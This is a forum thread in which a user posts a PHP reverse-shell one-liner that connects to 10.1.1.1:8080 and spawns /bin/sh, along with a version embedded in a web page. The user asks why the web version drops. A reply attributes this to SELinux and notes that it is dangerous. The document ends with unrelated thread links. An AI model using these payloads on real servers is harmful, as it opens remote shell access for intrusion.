PHP TCP Shell


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting PHP TCP Shell
# 1  
Old 02-01-2015
PHP TCP Shell

Hello,

I am able to use the following code to test a shell connection using the local PHP interpreter which works fine:
Code:
php -r '$sock=fsockopen("10.1.1.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

However when ever I embed this code into my HTTP accessible web site as follows, I get a connection that drops straight away without spawning a shell:
Code:
<?php $sock=fsockopen("10.1.1.1",8080);exec("/bin/bash -i <&3 >&3 2>&3"); ?>

Is anyone able to point out where I am going wrong?

thanks,
Ll
# 2  
Old 02-01-2015
I'd say there is a very good chance that SELinux is stopping Apache from executing a shell. You can imagine that this sort of thing could be quite dangerous on most systems.

You may find some audit logging info in /var/log/audit/audit.log or /var/log/messages
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

How to tell php to read shell?

.... Solved.... .. .. Hello, I've read couples of similar threads to my question and I strongly believe that I am doing something wrong. What I'm trying to do is to process data with php. It reads data from shell script. Everything goes well but at the end it does not print what it reads... (0 Replies)
Discussion started by: baris35
0 Replies

2. Shell Programming and Scripting

Running php index.php as shell in webpage

so i have a bit of a unique situation. i have an encrypted index.php file that that can't be run the normal way that a web browser would run it. if it is run the normal way, the php script will show only gibberish on the web browser, instead of the actual php code. when run from the command... (8 Replies)
Discussion started by: SkySmart
8 Replies

3. Shell Programming and Scripting

Executing from shell , not from php

Hi, When I run command from php as www-data: cordova platform add android .. I get error without any solution in google. But when I run it from shell (also as www-data) - it works! So.. how to do to run this command from php but in shell (tty) not from php? Regards! (5 Replies)
Discussion started by: wrkilu
5 Replies

4. Shell Programming and Scripting

Help with shell script to check the tcp network connectivity between server

Hello, I have a requirement to check the tcp network connectivity between server it's running on and the list of host's and ports combination. i have written the below code but it doesn't work, but when i execute the nc command outside the script it works fine. please help me where i am... (8 Replies)
Discussion started by: sknovice
8 Replies

5. Solaris

Too much TCP retransmitted and TCP duplicate on server Oracle Solaris 10

I have problem with oracle solaris 10 running on oracle sparc T4-2 server. Os information: 5.10 Generic_150400-03 sun4v sparc sun4v Output from tcpstat.d script TCP bytes: out outRetrans in inDup inUnorder 6833763 7300 98884 0... (2 Replies)
Discussion started by: insatiable1610
2 Replies

6. Shell Programming and Scripting

Shell Script from PHP not able to cp or mv or anything

Hi there, For some reason my maintenance mode shell script is not working. Both shell scripts are chmod +x'd, and owned by apache, running from php using exec(), maintenance.html and htaccessmaintenance are both owned by apache. My code is: #/bin/bash cp maintenance.html... (2 Replies)
Discussion started by: CharlesKirk
2 Replies

7. AIX

TCP/IP Inerface

Hi, Is there anyway to bring down ethernet interface using non-root ID? Appreciate if you could advice how to do that using non-root ID and what are previleges required in order to perform the tasks. Thanks (1 Reply)
Discussion started by: srllee
1 Replies

8. IP Networking

Tcp\ip

I have written a TCP/IP client and server program. The client sends a message to the server and then the server sends a file back to the client. The client reads the buffer and stores it another file in the client side. I need to know what are the various exceptions that I need to handle in... (0 Replies)
Discussion started by: Rajeshsu
0 Replies

9. OS X (Apple)

Error when trying to use PHP shell.

Hi, Now that I'm going to be using my Mac as a web host, I decided to use the PHP shell. However, when I type php straight in the terminal, the session freezes. Is there anything wrong that I'm doing? (3 Replies)
Discussion started by: Danny_10
3 Replies

10. Cybersecurity

Tcp/ip

!HELLO , What is the maximum number of hosts on a TCP/IP internet? plz can u help me. :rolleyes: (2 Replies)
Discussion started by: smdakram
2 Replies
Login or Register to Ask a Question